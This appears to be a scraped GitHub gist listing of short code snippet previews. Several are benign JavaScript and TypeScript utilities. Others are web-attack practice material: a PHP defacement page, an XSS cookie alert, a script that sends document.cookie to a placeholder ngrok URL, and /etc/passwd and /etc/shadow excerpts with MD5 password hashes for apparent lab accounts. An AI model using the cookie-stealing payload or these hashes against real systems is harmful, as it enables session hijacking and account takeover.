This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"use strict"; | |
class User { | |
constructor (private _name : string, | |
private _email : string) {} | |
get name () : string { return this._name; } | |
get email () : string { return this._email; } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Lightweight wrapper around JSONPlaceholder promise. | |
*/ | |
"use strict"; | |
const http = require('http'), | |
ROOT = 'jsonplaceholder.typicode.com'; | |
// Path is first c. line arg when standalone. | |
const item = process.argv[3], | |
path = process.argv[2]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict'; | |
/******************************************************************************/ | |
const overlaps = (previous, current) => current.startTime <= previous.endTime; | |
/******************************************************************************/ | |
const merge_meetings = (most_recently_merged) => (next) => | |
({ startTime : most_recently_merged.startTime, endTime : next.endTime }) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const fs = require('fs') | |
// Save this list as `eng_10k.txt`: https://raw.githubusercontent.com/first20hours/google-10000-english/master/google-10000-english.txt | |
const _getFrequencyList = () => { | |
const frequencyList = fs.readFileSync(`${__dirname}/eng_10k.txt`).toString().split('\n').slice(1000) | |
const dict = {}; | |
frequencyList.forEach(word => { | |
// Ignore weird consonant clusters | |
// match returns `null` if `word` contains no vowels |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
echo '<h3>HACKED</h3>' | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
echo '<script>alert(document.cookie)</script>' | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
document.write('<img src="[YOUR Ngrok URL]?c='+document.cookie+'" />'); | |
</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
clark:x:1003:1003:,,,:/home/clark:/bin/bash | |
barry:x:1004:1004:,,,:/home/barry:/bin/bash | |
bruce:x:1005:1005:,,,:/home/bruce:/bin/bash | |
wonderwoman:x:1006:1006:,,,:/home/wonderwoman:/bin/bash |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
clark:$1$vCQJuDA5$LMfNnEfUOWqGlsw.oZwvU/:17739:0:99999:7::: | |
barry:$1$9/41ELaR$s5x1MSIHQ8Ci1w.Xi2Q9y0:17739:0:99999:7::: | |
bruce:$1$k1Dn6mHP$02qi2NpmPbm.g/UJ5hUL5/:17739:0:99999:7::: | |
wonderwoman:$1$ePQswNon$zfhmpFHe/Hsqh.J8z9mkF.:17739:0:99999:7::: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$html = <<<EOT | |
<h1>Hello, world.</h1> | |
EOT; | |
echo $html; | |
?> |
OlderNewer